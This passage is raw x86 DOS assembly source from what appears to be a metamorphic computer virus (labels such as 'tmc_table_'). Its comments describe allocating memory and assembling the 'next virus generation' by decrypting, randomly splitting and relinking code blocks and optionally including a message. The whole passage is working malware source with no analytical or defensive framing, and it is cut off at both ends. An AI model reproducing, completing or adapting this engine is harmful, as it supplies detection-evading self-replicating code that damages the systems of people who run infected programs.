|
|
|
|
mov ah,48h ; Allocate memory
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov bx,[bp+1234h] ; BX = size of memory block in par...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1394h ; Pointer to mcb_size___
|
|
db 04h ; Four bytes instruction
|
|
|
|
sub bx,[bp+1234h] ; Subtract new size in paragraphs ...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1393h ; Pointer to new_mcb_siz
|
|
db 01h ; One byte instruction
|
|
|
|
dec bx ; BX = number of paragraphs to all...
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
cmp bx,0c00h ; Insufficient memory?
|
|
|
|
db 01110010b+10000000b ; Below? Jump to terminate_
|
|
dw 0beeh ; Pointer to terminate_
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01110010b+10000000b ; Error? Jump to terminate_
|
|
dw 0beeh ; Pointer to terminate_
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov es,ax ; ES = segment of allocated memory
|
|
|
|
db 07h ; Seven bytes instruction
|
|
|
|
mov es:[01h],0deadh ; Store 16-bit random number
|
|
|
|
db 07h ; Seven bytes instruction
|
|
|
|
mov word ptr es:[0ch],00h
|
|
|
|
db 07h ; Seven bytes instruction
|
|
|
|
mov es:[04h],1000h ; Store offset of block information
|
|
|
|
db 07h ; Seven bytes instruction
|
|
|
|
mov es:[06h],2000h ; Store offset of CALL; JMP; Jcc i...
|
|
|
|
db 07h ; Seven bytes instruction
|
|
|
|
mov es:[08h],3000h ; Store offset of data information
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
lea si,[bp+1234h] ; SI = offset of tmc_table_
|
|
|
|
db 11101101b ; Data reference
|
|
dw 4c5h ; Pointer to tmc_table_
|
|
db 01h ; One byte instruction
|
|
|
|
push si ; Save SI at stack
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov bx,4000h ; BX = offset of next virus genera...
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0fa0h ; Pointer to initial_tmc
|
|
db 11101111b ; End of block
|
|
initial_tmc_ db 11101110b ; Beginning of block
|
|
dw 0fa0h ; Block identification of initial_tmc_
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov di,10h ; DI = offset of table of blocks
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor ax,ax ; Zero AX
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bb8h ; Pointer to tmc_ini_loo
|
|
db 11101111b ; End of block
|
|
tmc_ini_loo db 11101110b ; Beginning of block
|
|
dw 0bb8h ; Block identification of tmc_ini_...
|
|
db 02h ; Two bytes instruction
|
|
|
|
add si,ax ; SI = offset of block or instruct...
|
|
|
|
db 11101000b ; CALL imm16 (opcode 0e8h)
|
|
dw 0be0h ; Pointer to decrypt_byt
|
|
db 02h ; Two bytes instruction
|
|
|
|
or al,al ; End of table?
|
|
|
|
db 01110100b+10000000b ; Zero? Jump to calc_blocks_
|
|
dw 0bbch ; Pointer to calc_blocks_
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp al,11101000b ; CALL; JMP; Data reference; Jcc?
|
|
|
|
db 01110011b+10000000b ; Above or equal? Jump to exam_blo__
|
|
dw 0bb9h ; Pointer to exam_blo__
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp al,10h ; Data?
|
|
|
|
db 01110110b+10000000b ; Below or equal? Jump to tmc_ini_...
|
|
dw 0bb8h ; Pointer to tmc_ini_loo
|
|
db 02h ; Two bytes instruction
|
|
|
|
sub al,10h ; AL = length of data
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bb8h ; Pointer to tmc_ini_loo
|
|
db 11101111b ; End of block
|
|
exam_blo__ db 11101110b ; Beginning of block
|
|
dw 0bb9h ; Block identification of exam_blo__
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp al,11101111b ; End of block?
|
|
|
|
db 01110101b+10000000b ; Not equal? Jump to exam_blo___
|
|
dw 0bbah ; Pointer to exam_blo___
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov al,00h ; Don't add anything to offset wit...
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bb8h ; Pointer to tmc_ini_loo
|
|
db 11101111b ; End of block
|
|
exam_blo___ db 11101110b ; Beginning of block
|
|
dw 0bbah ; Block identification of exam_blo___
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp al,11101110b ; Beginning of block?
|
|
|
|
db 01110101b+10000000b ; Not equal? Jump to next_byte_
|
|
dw 0bbbh ; Pointer to next_byte_
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ax,si ; AX = offset of block identification
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
dec ax ; AX = offset of block within table
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
stosw ; Store offset of block within table
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,0ffffh ; Block is still in one part
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
stosw ; Store block identification
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,02h ; Add two to offset within table
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bb8h ; Pointer to tmc_ini_loo
|
|
db 11101111b ; End of block
|
|
next_byte_ db 11101110b ; Beginning of block
|
|
dw 0bbbh ; Block identification of next_byte_
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov al,02h ; Add two to offset within table
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bb8h ; Pointer to tmc_ini_loo
|
|
db 11101111b ; End of block
|
|
calc_blocks_ db 11101110b ; Beginning of block
|
|
dw 0bbch ; Block identification of calc_blo...
|
|
db 03h ; Three bytes instruction
|
|
|
|
lea ax,[di-10h] ; AX = number of blocks multiplied...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
shr ax,01h ; Divide number of blocks by two
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
shr ax,01h ; Divide number of blocks by two
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov es:[0ah],ax ; Store number of blocks
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor ax,ax ; End of table
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
stosw ; Store end of table
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov di,10h ; DI = offset of table of blocks
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov si,es:[di] ; SI = offset of block within table
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bc0h ; Pointer to exam_bl
|
|
db 11101111b ; End of block
|
|
split_bloc db 11101110b ; Beginning of block
|
|
dw 0bbdh ; Block identification of split_bloc
|
|
db 01h ; One byte instruction
|
|
|
|
push bp ; Save BP at stack
|
|
|
|
db 05h ; Five bytes instruction
|
|
|
|
mov bp,es:[0ah] ; BP = number of blocks
|
|
|
|
db 11101000b ; CALL imm16 (opcode 0e8h)
|
|
dw 0bd5h ; Pointer to rnd_in_rang
|
|
db 01h ; One byte instruction
|
|
|
|
pop bp ; Load BP from stack
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
shl ax,01h ; Multiply random number with two
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
shl ax,01h ; Multiply random number with two
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
add ax,10h ; Add ten to random number
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov di,ax ; DI = random offset within table
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bbeh ; Pointer to exam_nxt_bl_
|
|
db 11101111b ; End of block
|
|
exam_nxt_bl_ db 11101110b ; Beginning of block
|
|
dw 0bbeh ; Block identification of exam_nxt...
|
|
db 03h ; Three bytes instruction
|
|
|
|
add di,04h ; DI = offset of next offset withi...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov si,es:[di] ; SI = offset of next block within...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
or si,si ; End of table?
|
|
|
|
db 01110101b+10000000b ; Not zero? Jump to exam_blo____
|
|
dw 0bbfh ; Pointer to exam_blo____
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov di,10h ; DI = offset of table of blocks
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov si,es:[di] ; SI = offset of block within table
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bbfh ; Pointer to exam_blo____
|
|
db 11101111b ; End of block
|
|
exam_blo____ db 11101110b ; Beginning of block
|
|
dw 0bbfh ; Block identification of exam_blo...
|
|
db 01h ; One byte instruction
|
|
|
|
push ax ; Save AX at stack
|
|
|
|
db 11101000b ; CALL imm16 (opcode 0e8h)
|
|
dw 0be0h ; Pointer to decrypt_byt
|
|
db 01h ; One byte instruction
|
|
|
|
dec si ; Decrease offset of block within ...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp al,11101111b ; End of block?
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ax ; Load AX from stack
|
|
|
|
db 01110101b+10000000b ; Not equal? Jump to exam_bl
|
|
dw 0bc0h ; Pointer to exam_bl
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp di,ax ; End of table of blocks?
|
|
|
|
db 01110101b+10000000b ; Not equal? Jump to exam_nxt_bl_
|
|
dw 0bbeh ; Pointer to exam_nxt_bl_
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bcah ; Pointer to exam_tbl_in
|
|
db 11101111b ; End of block
|
|
exam_bl db 11101110b ; Beginning of block
|
|
dw 0bc0h ; Block identification of exam_bl
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov ax,es:[di+02h] ; AX = block information
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,0ffffh ; Block is still in one part?
|
|
|
|
db 01110100b+10000000b ; Equal? Jump to exam_bl_
|
|
dw 0bc1h ; Pointer to exam_bl_
|
|
db 01h ; One byte instruction
|
|
|
|
push di ; Save DI at stack
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov di,ax ; DI = offset of end of first part...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov al,11101001b ; JMP imm16 (opcode 0e9h)
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
stosb ; Store JMP imm16
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ax,bx ; AX = offset within next virus ge...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
dec ax ; Decrease offset within next viru...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
dec ax ; Decrease offset within next viru...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
sub ax,di ; Subtract offset of end of first ...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
stosw ; Store 16-bit immediate
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop di ; Load DI from stack
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bc1h ; Pointer to exam_bl_
|
|
db 11101111b ; End of block
|
|
exam_bl_ db 11101110b ; Beginning of block
|
|
dw 0bc1h ; Block identification of exam_bl_
|
|
db 11101000b ; CALL imm16 (opcode 0e8h)
|
|
dw 0be0h ; Pointer to decrypt_byt
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp al,11101111b ; End of block?
|
|
|
|
db 01110100b+10000000b ; Equal? Jump to end_of_bloc
|
|
dw 0bc9h ; Pointer to end_of_bloc
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp al,10h ; Data; CALL; JMP; Data reference...?
|
|
|
|
db 01110111b+10000000b ; Above? Jump to exam_bl__
|
|
dw 0bc2h ; Pointer to exam_bl__
|
|
db 01h ; One byte instruction
|
|
|
|
push ax ; Save AX at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push bp ; Save BP at stack
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov bp,[bp+1234h] ; BP = probability
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0bech ; Pointer to probability_
|
|
db 11101000b ; CALL imm16 (opcode 0e8h)
|
|
dw 0bd5h ; Pointer to rnd_in_rang
|
|
db 02h ; Two bytes instruction
|
|
|
|
or ax,ax ; Split up block?
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop bp ; Load BP from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ax ; Load AX from stack
|
|
|
|
db 01110100b+10000000b ; Zero? Jump to split_bloc_
|
|
dw 0bc8h ; Pointer to split_bloc_
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bc2h ; Pointer to exam_bl__
|
|
db 11101111b ; End of block
|
|
exam_bl__ db 11101110b ; Beginning of block
|
|
dw 0bc2h ; Block identification of exam_bl__
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp al,11101111b ; End of block?
|
|
|
|
db 01110100b+10000000b ; Equal? Jump to end_of_bloc
|
|
dw 0bc9h ; Pointer to end_of_bloc
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp al,11101000b ; CALL; JMP; Data reference; Jcc?
|
|
|
|
db 01110011b+10000000b ; Above or equal? Jump to exam_data_
|
|
dw 0bc4h ; Pointer to exam_data_
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp al,10h ; Data?
|
|
|
|
db 01110110b+10000000b ; Below or equal? Jump to sto_inst...
|
|
dw 0bc3h ; Pointer to sto_instruc
|
|
db 02h ; Two bytes instruction
|
|
|
|
sub al,10h ; AL = length of data
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bc3h ; Pointer to sto_instruc
|
|
db 11101111b ; End of block
|
|
sto_instruc db 11101110b ; Beginning of block
|
|
dw 0bc3h ; Block identification of sto_inst...
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor cx,cx ; Zero CX
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov cl,al ; CL = length of instruction
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push di ; Save DI at stack
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov di,bx ; DI = offset within next virus ge...
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0beah ; Pointer to sto_ins_loo
|
|
db 11101111b ; End of block
|
|
sto_ins_loo db 11101110b ; Beginning of block
|
|
dw 0beah ; Block identification of store_op...
|
|
db 11101000b ; CALL imm16 (opcode 0e8h)
|
|
dw 0be0h ; Pointer to decrypt_byt
|
|
db 01h ; One byte instruction
|
|
|
|
stosb ; Store byte of instruction
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
dec cx ; Decrease counter
|
|
|
|
db 01110101b+10000000b ; Not zero? Jump to sto_ins_loo
|
|
dw 0beah ; Pointer to sto_ins_loo
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov bx,di ; BX = offset within next virus ge...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop di ; Load DI from stack
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bc1h ; Pointer to exam_bl_
|
|
db 11101111b ; End of block
|
|
exam_data_ db 11101110b ; Beginning of block
|
|
dw 0bc4h ; Block identification of exam_data_
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp al,11101101b ; Data reference?
|
|
|
|
db 01110101b+10000000b ; Not equal? Jump to exam_bl___
|
|
dw 0bc5h ; Pointer to exam_bl___
|
|
db 01h ; One byte instruction
|
|
|
|
push di ; Save DI at stack
|
|
|
|
db 05h ; Five bytes instruction
|
|
|
|
mov di,es:[08h] ; DI = offset within data information
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ax,bx ; AX = offset within next virus ge...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
dec ax ; Decrease offset within next viru...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
dec ax ; Decrease offset within next viru...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
stosw ; Store offset within next virus g...
|
|
|
|
db 11101000b ; CALL imm16 (opcode 0e8h)
|
|
dw 0be1h ; Pointer to decrypt_id_
|
|
db 01h ; One byte instruction
|
|
|
|
stosw ; Store block identification
|
|
|
|
db 05h ; Five bytes instruction
|
|
|
|
mov es:[08h],di ; Store offset within data informa...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop di ; Load DI from stack
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bc1h ; Pointer to exam_bl_
|
|
db 11101111b ; End of block
|
|
exam_bl___ db 11101110b ; Beginning of block
|
|
dw 0bc5h ; Block identification of exam_bl___
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp al,11101110b ; Beginning of block?
|
|
|
|
db 01110101b+10000000b ; Not equal? Jump to sto_call_jm_
|
|
dw 0bc7h ; Pointer to sto_call_jm_
|
|
db 01h ; One byte instruction
|
|
|
|
push di ; Save DI at stack
|
|
|
|
db 05h ; Five bytes instruction
|
|
|
|
mov di,es:[04h] ; DI = offset within block informa...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ax,bx ; AX = offset within next virus ge...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
stosw ; Store offset within next virus ge...
|
|
|
|
db 11101000b ; CALL imm16 (opcode 0e8h)
|
|
dw 0be1h ; Pointer to decrypt_id_
|
|
db 01h ; One byte instruction
|
|
|
|
stosw ; Store block identification
|
|
|
|
db 05h ; Five bytes instruction
|
|
|
|
mov es:[04h],di ; Store offset within block inform...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,4c5h ; Block identification of tmc_table_?
|
|
|
|
db 01110101b+10000000b ; Not equal? Jump to exam_messag
|
|
dw 0bc6h ; Pointer to exam_messag
|
|
db 01h ; One byte instruction
|
|
|
|
push si ; Save SI at stack
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov di,bx ; DI = offset within next virus ge...
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
lea si,[bp+1234h] ; SI = offset of tmc_table_
|
|
|
|
db 11101101b ; Data reference
|
|
dw 4c5h ; Pointer to tmc_table_
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov cx,(code_end-first_table)
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
rep movsb ; Move table to top of memory
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov bx,di ; BX = offset within next virus ge...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop si ; Load SI from stack
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bebh ; Pointer to examine_nex
|
|
db 11101111b ; End of block
|
|
exam_messag db 11101110b ; Beginning of block
|
|
dw 0bc6h ; Block identification of exam_mes...
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,2328h ; Block identification of message?
|
|
|
|
db 01110101b+10000000b ; Not equal? Jump to exam_probab
|
|
dw 0bedh ; Pointer to exam_probab
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,14h ; Probability of including message
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
cmp [bp+1234h],ax ; Include message?
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0bech ; Pointer to probability_
|
|
db 01110011b+10000000b ; Above or equal? Jump to examine_...
|
|
dw 0bebh ; Pointer to examine_nex
|
|
db 11101000b ; CALL imm16 (opcode 0e8h)
|
|
dw 0be0h ; Pointer to decrypt_byt
|
|
db 02h ; Two bytes instruction
|
|
|
|
sub al,10h ; AL = length of message
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ah,00h ; Zero AH
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
add si,ax ; SI = offset of end of message
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bebh ; Pointer to examine_nex
|
|
db 11101111b ; End of block
|
|
exam_probab db 11101110b ; Beginning of block
|
|
dw 0bedh ; Block identification of exam_pro...
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,0bech ; Block identification of probabi...?
|
|
|
|
db 01110101b+10000000b ; Not equal? Jump to examine_nex
|
|
dw 0bebh ; Pointer to examine_nex
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov ax,[bp+1234h] ; AX = probability_
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0bech ; Pointer to probability_
|
|
db 01h ; One byte instruction
|
|
|
|
dec ax ; Decrease probability
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,05h ; Probability too small?
|
|
|
|
db 01110011b+10000000b ; Above or equal? Jump to store_pr...
|
|
dw 0bf5h ; Pointer to store_proba
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,64h ; Reset probability
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bf5h ; Pointer to store_proba
|
|
db 11101111b ; End of block
|
|
store_proba db 11101110b ; Beginning of block
|
|
dw 0bf5h ; Block identification of store_pr...
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov es:[bx],ax ; Store probability
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
add bx,02h ; Add two to offset within next vi...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
add si,03h ; SI = offset of beginning of next...
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bebh ; Pointer to examine_nex
|
|
db 11101111b ; End of block
|
|
examine_nex db 11101110b ; Beginning of block
|
|
dw 0bebh ; Block identification of examine_...
|
|
db 01h ; One byte instruction
|
|
|
|
pop di ; Load DI from stack
|
|
|
|
db 11101000b ; CALL imm16 (opcode 0e8h)
|
|
dw 0be0h ; Pointer to decrypt_byt
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bc2h ; Pointer to exam_bl__
|
|
db 11101111b ; End of block
|
|
sto_call_jm_ db 11101110b ; Beginning of block
|
|
dw 0bc7h ; Block identification of sto_call...
|
|
db 01h ; One byte instruction
|
|
|
|
push ax ; Save AX at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push di ; Save DI at stack
|
|
|
|
db 05h ; Five bytes instruction
|
|
|
|
mov di,es:[06h] ; DI = offset within CALL; JMP; Jc...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ax,bx ; AX = offset within next virus ge...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
stosw ; Store offset within next virus g...
|
|
|
|
db 11101000b ; CALL imm16 (opcode 0e8h)
|
|
dw 0be1h ; Pointer to decrypt_id_
|
|
db 01h ; One byte instruction
|
|
|
|
stosw ; Store block identification
|
|
|
|
db 05h ; Five bytes instruction
|
|
|
|
mov es:[06h],di ; Store offset within CALL; JMP; J...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop di ; Load DI from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ax ; Load AX from stack
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov es:[bx],al ; Store CALL imm16; JMP imm16; Jcc...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
add bx,03h ; Add three to offset within next ...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp al,11110000b ; Jump condition?
|
|
|
|
db 01110010b+10000000b ; Below? Jump to exam_bl_
|
|
dw 0bc1h ; Pointer to exam_bl_
|
|
db 01h ; One byte instruction
|
|
|
|
inc bx ; Increase offset within next viru...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
inc bx ; Increase offset within next viru...
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bc1h ; Pointer to exam_bl_
|
|
db 11101111b ; End of block
|
|
split_bloc_ db 11101110b ; Beginning of block
|
|
dw 0bc8h ; Block identification of split_bloc_
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov es:[di+02h],bx ; Store offset within next virus g...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
add bx,03h ; Add three to offset within next ...
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bc9h ; Pointer to end_of_bloc
|
|
db 11101111b ; End of block
|
|
end_of_bloc db 11101110b ; Beginning of block
|
|
dw 0bc9h ; Block identification of end_of_b...
|
|
db 01h ; One byte instruction
|
|
|
|
dec si ; Decrease offset of block within ...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov es:[di],si ; Store offset of block within table
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bbdh ; Pointer to split_bloc
|
|
db 11101111b ; End of block
|
|
exam_tbl_in db 11101110b ; Beginning of block
|
|
dw 0bcah ; Block identification of exam_tbl...
|
|
db 06h ; Six bytes instruction
|
|
|
|
cmp word ptr es:[0ch],00h
|
|
|
|
db 01110101b+10000000b ; End of second table? Jump to cor...
|
|
dw 0fa1h ; Pointer to correc_i16
|
|
db 01h ; One byte instruction
|
|
|
|
pop si ; Load SI from stack
|
|
|
|
db 05h ; Five bytes instruction
|
|
|
|
mov es:[0ch],bx ; Store offset within next virus g...
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
add si,(second_table-first_table)
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0fa0h ; Pointer to initial_tmc_
|
|
db 11101111b ; End of block
|
|
correc_i16 db 11101110b ; Beginning of block
|
|
dw 0fa1h ; Block identification of correc_i16
|
|
db 01h ; One byte instruction
|
|
|
|
push es ; Save ES at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ds ; Load DS from stack (ES)
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
sub bx,4000h ; Subtract offset of next virus ge...
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov ds:[0eh],bx ; Store length of virus
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov si,2000h ; SI = offset of CALL; JMP; Jcc im...
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov cx,ds:[06h] ; CX = offset of end of CALL; JMP;...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
sub cx,si ; Subtract offset of CALL; JMP; Jc...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
shr cx,01h ; Divide number of CALL imm16; JMP...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
shr cx,01h ; Divide number of CALL imm16; JMP...
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bcbh ; Pointer to jmp_call_lo
|
|
db 11101111b ; End of block
|
|
jmp_call_lo db 11101110b ; Beginning of block
|
|
dw 0bcbh ; Block identification of jmp_call...
|
|
db 01h ; One byte instruction
|
|
|
|
lodsw ; AX = offset of block within data...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push ax ; Save AX at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
lodsw ; AX = offset of block within data...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push cx ; Save CX at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push si ; Save SI at stack
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov si,1000h ; SI = offset of block information
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov cx,ds:[04h] ; CX = offset of end of block info...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
sub cx,si ; Subtract offset of block informa...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
shr cx,01h ; Divide number of block by two
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
shr cx,01h ; Divide number of block by two
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bcch ; Pointer to find_block__
|
|
db 11101111b ; End of block
|
|
find_block__ db 11101110b ; Beginning of block
|
|
dw 0bcch ; Block identification of find_blo...
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,[si+02h] ; Found block?
|
|
|
|
db 01110100b+10000000b ; Equal? Jump to found_bloc
|
|
dw 0bcdh ; Pointer to found_bloc
|
|
db 03h ; Three bytes instruction
|
|
|
|
add si,04h ; SI = offset of next block in table
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
dec cx ; Decrease counter
|
|
|
|
db 01110101b+10000000b ; Not zero? Jump to find_block__
|
|
dw 0bcch ; Pointer to find_block__
|
|
db 11101111b ; End of block
|
|
found_bloc db 11101110b ; Beginning of block
|
|
dw 0bcdh ; Block identification of found_bloc
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov dx,[si] ; DX = offset of block
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop si ; Load SI from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop cx ; Load CX from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop bx ; Load BX from stack (AX)
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov al,[bx] ; AL = first byte of instruction
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp al,11110000b ; Jump condition?
|
|
|
|
db 01110010b+10000000b ; Below? Jump to sto_call_j
|
|
dw 0bcfh ; Pointer to sto_call_j
|
|
db 03h ; Three bytes instruction
|
|
|
|
sub byte ptr [bx],10000000b
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
inc bx ; BX = offset of 8-bit immediate
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push dx ; Save DX at stack
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
sub dx,bx ; Subtract offset within next viru...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
dec dx ; Decrease 8-bit immediate
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
